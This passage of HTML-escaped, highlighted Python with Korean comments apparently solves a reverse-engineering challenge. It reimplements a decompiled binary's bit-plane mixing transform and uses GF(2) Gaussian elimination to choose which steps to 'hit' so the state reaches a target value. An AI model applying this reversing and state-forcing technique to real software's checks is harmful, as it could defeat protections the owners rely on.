    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;L&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFF&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;pack_planes_to_bigint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;8개 평면을 1024비트 정수로 패킹(plane 0이 낮은 비트 구간). 열(column) 벡터로 취급한다.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;big&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;big&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;L&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;big&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;bigint_to_planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;big&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;1024비트 정수를 8개 평면으로 역변환&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;big&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;L&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MASK_128&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# ---------- 변환 M (FUN_1400053c0) ----------
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;mix_planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;M: out[p] = in[p-1] XOR in[p+1] on each bit-plane with zero boundary.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MASK_128&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;advance_planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;steps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;M^steps (naive). T가 매우 크면 시간이 늘어남.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;cur&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[:]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;steps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cur&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mix_planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cur&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cur&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# ---------- 한 스텝 HIT 효과 U_t 계산 ----------
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;hit_injection_vector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;U_t: 위치 (t &amp;amp; 0x7F)에 c_t = (t*0x1B + 0x37) &amp;amp; 0xFF 만 비트가 있는 128바이트&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7F&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1B&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x37&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFF&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;bs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytearray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;L&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# ---------- 가우스 소거 (GF(2))로 A*h = delta 풀기 ----------
# A = [v_0 ... v_{T-1}] (1024비트 column 들), delta = 1024비트
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;solve_gf2_columns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;columns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;delta&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Tuple&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;
    columns: 길이 T, 각 원소는 1024비트(int) column
    delta  : 1024비트(int)
    반환: (성공여부, h(0/1) 리스트)
    &quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;columns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# basis: pivot_bit -&amp;gt; (col_vector, combination_bitmask)
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;basis_vec&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;# pivot_bit -&amp;gt; int(1024b)
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;basis_comb&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# pivot_bit -&amp;gt; int(Tb), 원본 column들의 조합
&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;# 각 column에 대한 combination bitmask (초기엔 자기 자신만 1)
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;combs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# 빌드 (column basis 생성)
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;col&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;columns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;col&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;combs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# pivot 낮은 비트부터/높은 비트부터 아무거나 가능. 여기선 높은 비트 우선.
&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bit_length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# pivot 위치
&lt;/span&gt;            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;basis_vec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;basis_vec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;basis_comb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;basis_vec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;basis_comb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# v==0 이면 기존 basis로 표현 가능(선형 종속)
&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;# delta를 basis로 소거
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;w&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;delta&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sol_comb&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bit_length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;basis_vec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# 해 없음
&lt;/span&gt;            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;w&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;basis_vec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;sol_comb&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;basis_comb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# sol_comb 의 각 비트가 해당 column(=스텝)을 사용할지(HIT) 결정
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;hits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sol_comb&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span 